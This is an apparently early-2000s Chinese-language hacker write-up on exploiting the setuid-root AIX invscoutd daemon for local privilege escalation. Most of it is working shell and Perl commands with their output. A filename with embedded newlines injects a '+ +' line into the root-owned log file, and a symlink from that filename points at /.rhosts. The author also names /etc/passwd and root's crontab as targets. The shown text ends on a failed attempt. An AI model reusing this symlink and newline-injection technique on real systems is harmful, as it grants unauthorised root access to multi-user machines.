平台信息: -bash-2.05b$ oslevel 5.1.0.0 -bash-2.05b$ oslevel -r 5100-01 按八字排列今天應該考查invscoutd命令了 -bash-2.05b$ ls -l /usr/sbin/invscoutd -r-sr-xr-x 1 root system 217868 Aug 03 2001 /usr/sbin/invscoutd -bash-2.05b$man invscoutd ………… The invscoutd command implements a permanent Inventory Scout server daemon on one machine in a user's local network. The usual client is a Java applet running in the user's Web browser, which was downloaded from a central Inventory Scout CGI application. ………… 再來看看這個命令的長相: -bash-2.05b$ invscoutd invscoutd: Missing log file name. Inventory Scout Daemon 2.0.2. @@@ CAT VERSION @@@ USAGE: invscoutd [options] logfile <-- 還寫日志文件的說。 logfile Append status and err msgs. '-' means write to stderr. -o Overwrite preexisting log file instead of append. <-- 還可以覆蓋已有文件的說 -pN Change port number to N from default 808. <-- 默認監聽在808端口 -bN Change read buffer size to N from default 1024. -dN Change max logic db file size to N from default 50000. -tN Change timeout period to N seconds from default 30 seconds. -vN Change verbosity level to N from default 18, <--支持交互級別,級別越高記錄信息應該越詳細 25=max 20=debug 18=calls 15=banner 10=errs 5=fatal 0=none. 依稀記得以前Unix上有不少漏洞和日志文件權限處理不正確有關,就先考查一下他的這個日志文件吧 -bash-2.05b$ ls -l /tmp/bb ls: 0653-341 The file /tmp/bb does not exist. -bash-2.05b$ invscoutd /tmp/bb Inventory Scout Version 1.3.0.0 Logic Database Version 1.3.0.0 Start invscoutd 2.0.2: p=808 u=0 v=18 t=30 d=50000 pid=17028 flog=/tmp/bb -bash-2.05b$ ls -l /tmp/bb -rw-r--r-- 1 root staff 270 May 03 03:54 /tmp/bb 哇噻~~,權限果然有問題!!日志文件是root所有的說!! -bash-2.05b$ id uid=203(cloud) gid=1(staff) 看來沒錯,是個漏洞,那我能利用這個漏洞做什麼呢?? 想想…… 至少可以把系統重要配置文件破壞掉吧,哈哈…… 再想想對於不存在的重要文件如/.rhosts文件(其實暫時也就想到這麼一個文件),我們可以用這個漏洞創建這個文件,要是之前執行一次umask 000 創建的文件我們就有修改權限了 ^_^ 這樣我們就可以任意改寫文件內容了,如:/.rhosts中加一行 + + 可惜r系列服務使用.rhosts時會對文件屬性進行檢查: 如果文件不屬於對應用戶,或文件權限 除所有者外其他用戶或同組用戶有寫權限均驗證失敗! 看來通過創建一個我們可寫的/.rhosts文件來獲得root權限是行不通了~~ 我們覆蓋重要文件如/etc/passwd,並不能改變文件權限~~ 回頭再一琢磨,我們不就是要想控制寫入文件的內容嗎?不能通過直接獲得文件寫權限自由寫內容,那就間接點,要是日志文件寫入內容我們可以控制那不也能通過修改/.rhosts,/etc/passwd,/var/spool/cron/crontabs/root 等文件把自己變為root了嗎? 趕緊來看看日志文件裡寫了什麼內容: -bash-2.05b$ cat /tmp/bb 2003/05/03 03:54:37 G16716:invscoutd_2.0.2 Inventory Scout Version 1.3.0.0 2003/05/03 03:54:37 G16716:invscoutd_2.0.2 Logic Database Version 1.3.0.0 2003/05/03 03:54:37 P17028:invscoutd_2.0.2 Start invscoutd 2.0.2: p=808 u=0 v=18 t=30 d=50000 pid=17028 flog=/tmp/bb 裡面好像就flog=/tmp/bb和輸入有關。 再試試,看這個問題能不能重現. -bash-2.05b$ invscoutd ./aa Inventory Scout Version 1.3.0.0 Logic Database Version 1.3.0.0 Exit code 2, pid 536968056. 看來還得先殺掉老的進程才能再試。 -bash-2.05b$ ps -ef grep invs cloud 15526 1 0 04:36:25 pts/0 0:00 invscoutd ./aa cloud 16068 16836 1 04:37:50 pts/0 0:00 grep invs -bash-2.05b$ kill -9 15526 看看剛才出錯記錄到log文件了沒? -bash-2.05b$ ls -l ./aa ls: 0653-341 The file ./aa does not exist. 沒有的說。 我再試試,我非要重現一次才放心. -bash-2.05b$ invscoutd ./aa Inventory Scout Version 1.3.0.0 Logic Database Version 1.3.0.0 Start invscoutd 2.0.2: p=808 u=0 v=18 t=30 d=50000 pid=15526 flog=./aa -bash-2.05b$ ls -l ./aa ls: 0653-341 The file ./aa does not exist. 咦,為什麼沒有記進來?難道文件名還必須以/打頭?,先不管了,就寫到/tmp下吧,再試試。 這次學乖了,先殺掉進程。 -bash-2.05b$ ps -ef grep invsc cloud 14194 15338 3 03:55:29 pts/0 0:00 grep invsc cloud 17028 1 0 03:54:37 pts/0 0:00 invscoutd ./aa -bash-2.05b$ kill -9 17028 ………… 經測試,果然能重現,放心了~~ 想了想,要通過改寫.rhosts ,passwd,crotable突破系統權限取得root特權,都必須要能完整的控制一行寫入文件的內容,日志中能控制的是:flog=輸入文件名部分,那面文件名中帶換行符就可以控制一行的內容了,如:aaaa\n完整的一行\naaaa這種形似的文件名。 但命令行上一時想不起來如何輸入\n字符並把它作為命令行的一個參數,剛好以前學的perl派上了用場 ^_*用perl來執行一個系統命令invscoutd "/tmp/bbbbb\n+ +\nddd",看看能不能產生一個單獨的一行記錄內容+ + -bash-2.05b$ perl -e 'system invscoutd,"/tmp/bbbbb\n+ +\nddd";' Inventory Scout Version 1.3.0.0 Logic Database Version 1.3.0.0 Start invscoutd 2.0.2: p=808 u=0 v=18 t=30 d=50000 pid=16282 flog=/tmp/bbbbb + + ddd -bash-2.05b$ cat /tmp/bbbbb* 2003/05/03 03:59:09 G14204:invscoutd_2.0.2 Inventory Scout Version 1.3.0.0 2003/05/03 03:59:09 G14204:invscoutd_2.0.2 Logic Database Version 1.3.0.0 2003/05/03 03:59:09 G14204:invscoutd_2.0.2 Bind error, port 808: The socket name is already in use.. 2003/05/03 03:59:09 G14204:invscoutd_2.0.2 Exit code 2, pid 536968072. 2003/05/03 03:59:27 G14934:invscoutd_2.0.2 Inventory Scout Version 1.3.0.0 2003/05/03 03:59:27 G14934:invscoutd_2.0.2 Logic Database Version 1.3.0.0 2003/05/03 03:59:27 P16282:invscoutd_2.0.2 Start invscoutd 2.0.2: p=808 u=0 v=18 t=30 d=50000 pid=16282 flog=/tmp/bbbbb + + ddd 嘿嘿,可以的說!! -bash-2.05b$ ls -l /tmp/bbbbb* -rw-r--r-- 1 root staff 602 May 03 03:59 /tmp/bbbbb + + ddd 那我們如何寫"\n+ +\n"內容到/.rhosts呢? 想想…… 再想想…… 呵呵,我想到了,你想到了嗎? 再給你5分鐘,好好想想~~ 如果直接執行invscoutd /.rhosts 肯定不行,裡面不會有我們期望的 + + 行。 如果我們執行perl -e 'system invscoutd,"/tmp/bbbbb\n+ +\nddd";' 向log文件寫入 + + 成功, 但寫入的文件是"/tmp/bbbbb\n+ +\nddd",而我們現在期望是寫到/.rhosts文件,再想想………… 歸納一下,問題核心是想把A文件名寫入B文件中,Unix下的符號鏈接好像就是這個橋梁耶~ 我們建立一個A -> B的符號連接不就行了! ln -s B A 然後 invscoutd A 應該就成了。 開始行動: -bash-2.05b$ ls -l /.rhosts ls: 0653-341 The file /.rhosts does not exist. 建立A -> B的符號鏈接: -bash-2.05b$ perl -e 'symlink "/.rhosts","/tmp/cc\n+ +\ndd";' 這裡B是"/.rhosts" A是"/tmp/cc\n+ +\ndd" -bash-2.05b$ ls -l /tmp/cc* lrwxrwxrwx 1 cloud staff 8 May 03 04:02 /tmp/cc + + dd -> /.rhosts 來,執行之 -bash-2.05b$ perl -e 'system invscoutd,"/tmp/cc\n+ +\ndd";' Inventory Scout Version 1.3.0.0 Logic Database Version 1.3.0.0 Exit code 2, pid 536968072. -bash-